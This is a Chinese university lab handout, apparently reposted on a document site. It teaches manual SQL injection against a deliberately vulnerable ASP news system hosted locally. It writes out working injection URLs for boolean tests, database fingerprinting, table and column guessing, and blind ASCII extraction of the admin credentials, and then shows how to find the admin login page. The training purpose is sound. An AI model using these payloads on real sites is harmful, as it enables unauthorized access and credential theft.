SQL 注入攻击(验证性)
专 业 部 别 学 号 学生姓名 指导老师
一、实验目的
本实验目的在于使学员加深对 SQL 注入攻击的原理、过程、危害的理解,并熟练掌握手工 SQL 注入的方法和技巧。
二、实验方法
本实验利用 windows 的 iis 服务搭建了一个有 SQL 注入漏洞的网站 “ASP 新闻发布系统” ,以该网站为目标,对其实施 SQL 注入攻击。 本实验所需工具如下:
IIS 是 Internet Information Server 的缩写,是微软提供的 Internet 服务器软件,包括 Web、FTP、Mail 等服务器,也是目前常用的服务器软件。版本不限。
“啊 D”注入工具:对“MSSQL 显错模式”、“MSSQL 不显错模式”、“Access”等数据库都有很好的注入检测能力,内集“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”等等于一身的注入工具包。 “ASP 新闻发布系统”Ok3w v4.6 源码。
三、实验环境及内容
(1)IIS 的安装与配置
(1.1)打开 IIS 安装程序,在程序向导提示下进行安装。
(1.2)安装完成,关闭安装向导,运行“IIS500.bat”DOS 程序,重启 Internet 服务, 如图,然后关闭窗口。 (2)网站的搭建
(2.1)将“ASP 新闻发布系统”网站所在文件夹“wwwroot”复制到 C 盘“Inetpub” 目录下。
(2.2)配置 IIS 服务器, 打开“控制面板” —> “性能和维护” —> “管理工具” —> “Internet
- 1 -
(2.3) 打开 “Internet 信息服务” —> “网站” —> “默认网站”,右键单击“默认网站”菜单,左键点击“属性”选项,出现如图 12.4 窗口:
(2.5)点击“主目录”选项,对本地路径修改为“C:\\Inetpub\\wwwroot”,点击“应用” (2.6)点击“文档”选项,添加“index.asp”,将其上移,点击“应用”,如图 12.6: (2.7)修改访问权限。双击“我的电脑” —> “工具”—> “文件夹选项“—> “查看”,勾去“使用简单文件共享(推荐)”选择/wwwroot 文件夹下的 Db 文件夹,右击选择“属性“,单击”安全“,选择“添加”, 12.8 添加用户
单击“高级”,在随后出现的对话框中选择“立即查找”出现如下界面: 选择匿名访问使用的账户 IUSER_...(省略号指的是用户名),单击确定。 设置 Internet 来宾账户的权限,如图 12.11 所示: 访问权限设置结束。
(2.8)打开浏览器,输入地址“192.168.126.130” ,检查网站搭建情况。若正常,会出现下图 12.12 页面:
(3)SQL 注入
- 2 -
(3.1)寻找注入点
打开一篇新闻网页,如 http://127.0.0.1/show.asp?id=138,出现页面图
进行注入测试,键入:http://192.168.126.130/show.asp?id=138 and 1=1查看返回页面,如图 12.14,页面无变化。
键入:http://192.168.126.130/show.asp?id=138 and 1=2 查看返回页面,出错,可确定该网站存在注入点。
(3.2)判断数据库类型
- 3 -
用系统表的方法进行判断:
http://192.168.126.130/show.asp?id=138 and (select count(*) from sysobjects)>0 http://192.168.126.130/show.asp?id=138 and (select count(*) from msysobjects)>0 两者返回均出错,如图 12.16,图 12.17,可知是 access 数据库。
(3.3)猜测表名
因为现在网络上存在的网站大多是套用一些公司推出的整站,所以我们可以首先确定这个网站是哪个公司推出的,一般在网页上都会有显示,然后去网上查找这个公司推出的网站的常用数据库表名,这样猜测范围会小很多。
一 般 网 站 后 台 的 管 理 员 都 默 认 在 表 admin 中 , 我 们 先 试 一 下 :http://127.0.0.1/show.asp?id=138 and (select count(*) from admin)<>0查看返回页面,正常返回,可知该网站后台数据库中存在着表名为 admin 的表。 (3.4)猜测字段名
不同公司推出的网站有不同的字段名,但一般都有三个字段,分别记录 ID 号、用户名和密码,常用的字段名为:id,username,password
http://127.0.0.1/show.asp?id=138 and (select count(id) from admin)<>0 http://127.0.0.1/show.asp?id=138 and (select count(username) from admin)<>0
- 4 -
http://127.0.0.1/show.asp?id=138 and (select count(password) from admin)<>0
返回页面均正常,可知这三个字段名都存在。当然,该网站是我们简化后的结果,正常情况下,操作者需要根据自己的经验进行多次猜测。这样,我们就确定了 admin 中存在的三个字段:id,username,password。 (3.5)猜测管理员用户名和密码
(3.5.1)确定表 admin 中有几条记录,从 1 开始:
http://127.0.0.1/show.asp?id=138 and (select count(*) from admin)=1
返回正常 , 可 确 定 只 有 一 条 记 录 。 若 返 回 出 错 , 则 应 继 续 实 验 :
http://127.0.0.1/show.asp?id=138 and (select count(*) from admin)=2(3/4/5...) (3.5.2)猜测用户名长度
http://127.0.0.1/show.asp?id=138 and (select len(username) from admin)=1(2/3/4/5...) 直到返回页面正确,可确定用户名长度为 5。
(3.5.3)猜测用户名内容,采用 ASCII 码分析法 先猜测第 1 位,用二分法:
http://127.0.0.1/show.asp?id=138 and (select count(*) from admin where
- 5 -
(asc(mid(username,1,1)))between 30 and 125)<>0 返回正确,进一步缩小范围 between 70 and 100 ,between 85 and 100 ,between 90 and 100,=97。查询 ASCII 码表(见附件),可知第一个字符为 a。再猜测第 2 个字符:http://127.0.0.1/show.asp?id=138 and (select count(*) from admin where (asc(mid(username,2,1)))between 30 and 125)<>0依此类推,最后得到用户名为 admin。
(3.5.4)猜测密码,与猜用户名相同,将 username 换成 password 即可,最终得到密码为 6 位:123456。 (若经过 MD5 加密后的密码,可利用 MD5 解码工具进行解密)
(3.6)寻找到后台管理窗口
不同公司推出的网站都有固定的后台地址,可根据经验寻找,也可使用“啊 D” 等软件查找后台。下面演示下如何用“啊 D”查找后台。打开“啊 D”软件,出现如下界面, 点击进入“管理入口检测”选项,点击“检测管理入口”,进行检测,如下图 12.21:
右 键 网 址 , 用 “ IE 打 开 连 接 ”, 测 试 是 否 为 管 理 入 口 , 经 测 试 可 知http://127.0.0.1/../admin/index.asp 为管理入口,如图 12.22:
- 6 -
(3.7)登陆后台
找到后台管理窗口,http://127.0.0.1/admin/ad_login.asp,用刚刚得到的用户名和密陆。
- 7 -
- 8 -
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- dfix.cn 版权所有 湘ICP备2024080961号-1
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务